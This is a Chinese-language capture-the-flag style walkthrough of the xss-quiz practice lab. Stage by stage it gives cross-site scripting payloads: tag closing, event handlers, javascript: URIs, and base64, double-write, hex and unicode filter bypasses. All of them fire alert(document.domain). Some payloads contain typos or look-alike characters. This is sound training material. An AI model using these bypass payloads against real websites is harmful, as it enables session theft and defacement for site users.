xssquiz 靶机全通关

stage1

随便提交一个参数 查看HTML 发现提交的参数被b标签所包裹  构造payload  

</b><script>alert(document.domain)</script> 将b标签闭合

 提交得到域名

stage2

提交参数  继续考虑闭合 标签 

构造payload   "><script>alert(document.domain);</script>

也可以通过js事件引入 onmouseover="alert(document.domain)>

onmouseover 事件会在鼠标指针移动到指定的元素上时发生。

 提交 成功得到域名

stage 3

随便提交数据 查看前段代码  发先还是b标签闭合

</b><script>alert(document.domain)</script>
提交 不成功
这些payload被转化为字符串 所以是无效的

抓包 修改p2参数

构造payload

</option><script>alert(document.domain)</script>

stage 4

修改hidden为text

 通过抓包才发现有三个参数被提交

以下三种payload


"><svg onload=alert(document.domain)>;
" οnmοuseοver=alert(document.domain);
"><script>alert(document.domain)</script>

 stage 5

前端直接修改或者抓包绕过字数限制即可

 stage 6

提交"><script>alert(document.domain)</script> 发现 < > 都被转义

所以考虑通过事件

123" οnmοuseοver="alert(document.domain)
 
 

 stage 7

input 闭合查看源码

 发现被转化为字符串 js不能够被执行

事件触发payload

123" οnmοuseοver="alert(document.domain)

 将这payload这一部分去掉分析

<input type="text" name="p1" size="50" value="value值 " "js事件 ">

所以构造

123 onmouseover=alert(document.domain)

  stage 8

 a标签插入 利用JavaScript伪协议

javascript:alert(document.domain) 点击url就可执行js代码

stage 9

现在浏览器已经不支持

stage 10

http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276

domain被过滤掉了 双写绕过 123"><script>alert(document.dodomainmain);</script>

或者编码绕过

atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

将alert(docuemnt.domain)进行base64编码

最终payload应该为 "><script>eval(atob('YWxlcnQoZG9jdWVtbnQuZG9tYWluKQ=='));</script>

stage11

onmouseover被改为onxxx script被改为xscript

空格绕过

"><a href="java script:alert(document.domain);">xss</a>


stage15

16进双斜杠绕过

对<>进行了转义 传入x3c x3e 发现/被过滤掉 传入双斜杠可以成功绕过

payload 为

\x3cscript\x3ealert(document.domain);\x3c/script\x3e

stage16

js不仅可以识别16进制也可以识别unicode码

unicode双斜杠绕过

和上一关差不多 只是用了unicode码

\u003cscript\u003ealert(document.domain);\u003c/script\u003e

原文地址:https://www.cnblogs.com/akger/p/14336066.html